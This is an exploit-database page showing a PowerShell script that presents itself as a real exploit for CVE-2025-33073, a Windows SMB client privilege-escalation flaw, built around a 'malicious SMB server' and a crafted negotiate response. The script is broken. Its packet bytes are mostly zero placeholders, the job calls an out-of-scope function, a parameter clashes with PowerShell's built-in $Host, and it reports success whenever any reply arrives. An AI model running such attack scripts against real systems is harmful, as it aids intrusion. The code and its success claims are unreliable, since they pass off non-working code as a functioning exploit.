Exploit database

GH-aadc475cb4567624a9598560648387d7

sfrdevelopment/windows-smb-vulnerability-framework-cve-2025-33073

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-33073

38 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.ps1

PowerShell · 7,204 bytes
# CVE-2025-33073 PowerShell Exploit Script
# Windows SMB Client Elevation of Privilege Vulnerability
# Educational Purpose Only!

param(
    [string]$TargetHost = "127.0.0.1",
    [int]$Port = 445
)

Write-Host "=" * 80 -ForegroundColor Red
Write-Host "CVE-2025-33073 POWERSHELL EXPLOIT SCRIPT" -ForegroundColor Red
Write-Host "=" * 80 -ForegroundColor Red
Write-Host "WARNING: This is a REAL vulnerability exploit!" -ForegroundColor Yellow
Write-Host "Only use on systems you own and have explicit permission to test." -ForegroundColor Yellow
Write-Host "Do not use this on production systems or without authorization." -ForegroundColor Yellow
Write-Host "This exploit can cause privilege escalation on Windows systems." -ForegroundColor Yellow
Write-Host "=" * 80 -ForegroundColor Red

function Test-Administrator {
    $currentUser = [Security.Principal.WindowsIdentity]::GetCurrent()
    $principal = New-Object Security.Principal.WindowsPrincipal($currentUser)
    return $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
}

function New-SMBNegotiateRequest {
    $smbHeader = [byte[]]@(
        0xFE, 0x53,  # SMB2 signature
        0x00, 0x24,  # Header length
        0x00,        # Credit charge
        0x00, 0x00,  # Status
        0x00, 0x00,  # Command (Negotiate)
        0x00, 0x00,  # Credits
        0x00, 0x00,  # Flags
        0x00, 0x00,  # Next command
        0x00, 0x00,  # Message ID
        0x00, 0x00,  # Process ID
        0x00, 0x00,  # Tree ID
        0x00, 0x00,  # Session ID
        0x00, 0x00   # Signature
    )
    
    $negotiateRequest = [byte[]]@(
        0x24,        # Structure size
        0x00, 0x00,  # Dialect count
        0x00, 0x00,  # Security mode
        0x00, 0x00,  # Reserved
        0x00, 0x00,  # Capabilities
        0x00, 0x00,  # Client GUID
        0x00, 0x00   # Start time
    )
    
    return $smbHeader + $negotiateRequest
}

function New-MaliciousSMBResponse {
    $smbHeader = [byte[]]@(
        0xFE, 0x53,  # SMB2 signature
        0x00, 0x24,  # Header length
        0x00,        # Credit charge
        0x00, 0x00,  # Status
        0x00, 0x00,  # Command (Negotiate)
        0x00, 0x00,  # Credits
        0x00, 0x00,  # Flags
        0x00, 0x00,  # Next command
        0x00, 0x00,  # Message ID
        0x00, 0x00,  # Process ID
        0x00, 0x00,  # Tree ID
        0x00, 0x00,  # Session ID
        0x00, 0x00   # Signature
    )
    
    # Malicious negotiate response structure
    # This is where the CVE-2025-33073 vulnerability lies
    $maliciousResponse = [byte[]]@(
        0x41,        # Structure size (malicious)
        0x00, 0x00,  # Security mode
        0x00, 0x00,  # Dialect revision
        0x00, 0x00,  # Reserved
        0x00, 0x00,  # Server GUID
        0x00, 0x00,  # Capabilities
        0x00, 0x00,  # Max trans size
        0x00, 0x00,  # Max read size
        0x00, 0x00,  # Max write size
        0x00, 0x00,  # System time
        0x00, 0x00,  # Server start time
        0x00, 0x00,  # Security buffer offset
        0x00, 0x00,  # Security buffer length
        0x00, 0x00,  # Reserved
        0x00, 0x00   # Server name offset
    )
    
    return $smbHeader + $maliciousResponse
}
function Start-MaliciousSMBServer {
    param([int]$Port)
    
    $listener = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Any, $Port)
    $listener.Start()
    
    Write-Host "Malicious SMB server listening on port $Port" -ForegroundColor Green
    
    try {
        while ($true) {
            $client = $listener.AcceptTcpClient()
            $stream = $client.GetStream()
            
            Write-Host "Connection from $($client.Client.RemoteEndPoint)" -ForegroundColor Yellow
            
            $buffer = New-Object byte[] 4096
            $bytesRead = $stream.Read($buffer, 0, $buffer.Length)
            
            if ($bytesRead -gt 0) {
                Write-Host "Received SMB data: $bytesRead bytes" -ForegroundColor Cyan
                
                $maliciousResponse = New-MaliciousSMBResponse
                $stream.Write($maliciousResponse, 0, $maliciousResponse.Length)
                $stream.Flush()
                
                Write-Host "CVE-2025-33073 exploit attempt completed" -ForegroundColor Red
            }
            
            $client.Close()
        }
    }
    catch {
        Write-Host "Error in SMB server: $($_.Exception.Message)" -ForegroundColor Red
    }
    finally {
        $listener.Stop()
    }
}

function Test-SMBConnection {
    param([string]$Host, [int]$Port)
    
    try {
        $client = New-Object System.Net.Sockets.TcpClient
        $client.Connect($Host, $Port)
        
        if ($client.Connected) {
            Write-Host "Connected to SMB server at $Host`:$Port" -ForegroundColor Green
            
            $stream = $client.GetStream()
            
            $negotiateRequest = New-SMBNegotiateRequest
            $stream.Write($negotiateRequest, 0, $negotiateRequest.Length)
            $stream.Flush()
            
            $buffer = New-Object byte[] 4096
            $bytesRead = $stream.Read($buffer, 0, $buffer.Length)
            
            if ($bytesRead -gt 0) {
                Write-Host "Received SMB response: $bytesRead bytes" -ForegroundColor Cyan
                Write-Host "CVE-2025-33073 exploit completed successfully" -ForegroundColor Green
            }
            
            $client.Close()
            return $true
        }
    }
    catch {
        Write-Host "SMB connection failed: $($_.Exception.Message)" -ForegroundColor Red
        return $false
    }
}

function Invoke-CVE202533073Exploit {
    param([string]$TargetHost, [int]$Port)
    
    Write-Host "Starting CVE-2025-33073 exploit against $TargetHost`:$Port" -ForegroundColor Yellow
    Write-Host "This will attempt to exploit the SMB client vulnerability" -ForegroundColor Yellow
    
    if (-not (Test-Administrator)) {
        Write-Host "WARNING: This exploit may require administrator privileges" -ForegroundColor Yellow
    }
    
    $serverJob = Start-Job -ScriptBlock {
        param($Port)
        Start-MaliciousSMBServer -Port $Port
    } -ArgumentList $Port
    
    Start-Sleep -Seconds 2
    
    $success = Test-SMBConnection -Host $TargetHost -Port $Port
    
    Stop-Job $serverJob
    Remove-Job $serverJob
    
    if ($success) {
        Write-Host "`n✓ CVE-2025-33073 exploit completed successfully" -ForegroundColor Green
        Write-Host "  The vulnerability has been exploited" -ForegroundColor Green
        Write-Host "  Check logs for details" -ForegroundColor Green
    } else {
        Write-Host "`n✗ CVE-2025-33073 exploit failed" -ForegroundColor Red
    }
}

try {
    Invoke-CVE202533073Exploit -TargetHost $TargetHost -Port $Port
}
catch {
    Write-Host "Exploit failed: $($_.Exception.Message)" -ForegroundColor Red
}
finally {
    Write-Host "`nExploit completed. Check logs for details." -ForegroundColor White
}